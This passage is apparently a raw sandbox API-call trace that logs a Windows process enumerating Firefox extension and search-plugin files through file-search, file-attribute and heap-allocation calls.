0x12 [0089.308] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0089.308] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.308] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.309] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{972ce4c6-7e08-4474-a285-3208198ce6fd}", cAlternateFileName="")) returned 1 [0089.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310888 [0089.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310a98 [0089.309] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.310] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0089.310] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.310] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333460 [0089.311] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333460, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1333460, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333460) returned 1 [0089.311] NtClose (Handle=0x168) returned 0x0 [0089.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310a98) returned 1 [0089.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310a98 [0089.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310db0 [0089.312] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0089.312] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.313] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xdc50ab00, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x889, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0089.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310eb8 [0089.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1948 [0089.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310fc0 [0089.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.315] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xe11b5c00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x54e, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.rdf", cAlternateFileName="")) returned 1 [0089.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1968 [0089.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13110c8 [0089.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef3d0) returned 1 [0089.317] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xe11b5c00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x54e, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.rdf", cAlternateFileName="")) returned 0 [0089.317] GetLastError () returned 0x12 [0089.317] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0089.317] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0089.317] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.317] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xdc50ab00, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x889, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0089.317] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xe11b5c00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x54e, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.rdf", cAlternateFileName="")) returned 1 [0089.317] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xe11b5c00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x54e, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.rdf", cAlternateFileName="")) returned 0 [0089.317] GetLastError () returned 0x12 [0089.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310db0) returned 1 [0089.317] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310eb8) returned 1 [0089.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310a98) returned 1 [0089.318] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{972ce4c6-7e08-4474-a285-3208198ce6fd}", cAlternateFileName="")) returned 0 [0089.318] GetLastError () returned 0x12 [0089.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef458) returned 1 [0089.318] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310888) returned 1 [0089.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef1b0) returned 1 [0089.319] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x57748a00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x44080e, dwReserved0=0x0, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0089.319] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="searchplugins", cAlternateFileName="")) returned 1 [0089.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef1b0 [0089.319] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.319] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.320] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0089.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333460 [0089.320] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333460, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1333460, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0089.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333460) returned 1 [0089.320] NtClose (Handle=0x180) returned 0x0 [0089.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef1b0) returned 1 [0089.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef1b0 [0089.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef458 [0089.321] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef3d0 [0089.321] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0089.323] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.323] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amazondotcom.xml", cAlternateFileName="")) returned 1 [0089.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.324] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310888 [0089.324] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef458) returned 1 [0089.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1988 [0089.324] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310a98 [0089.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.325] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="bing.xml", cAlternateFileName="")) returned 1 [0089.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.325] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.325] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.326] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c19a8 [0089.326] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310eb8 [0089.327] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.327] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa17, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBay.xml", cAlternateFileName="")) returned 1 [0089.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.327] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.327] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.328] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c19c8 [0089.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310db0 [0089.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8e00) returned 0x12f2380 [0089.328] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="google.xml", cAlternateFileName="")) returned 1 [0089.328] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.329] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c19e8 [0089.329] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13111d0 [0089.330] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.330] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb91, dwReserved0=0x0, dwReserved1=0x0, cFileName="twitter.xml", cAlternateFileName="")) returned 1 [0089.330] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.343] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1a08 [0089.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13112d8 [0089.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.344] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="wikipedia.xml", cAlternateFileName="")) returned 1 [0089.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.344] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.344] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1a28 [0089.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1313900 [0089.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.346] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd52f9a00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa73, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoo.xml", cAlternateFileName="")) returned 1 [0089.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c1a48 [0089.347] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1313a08 [0089.347] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.347] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, 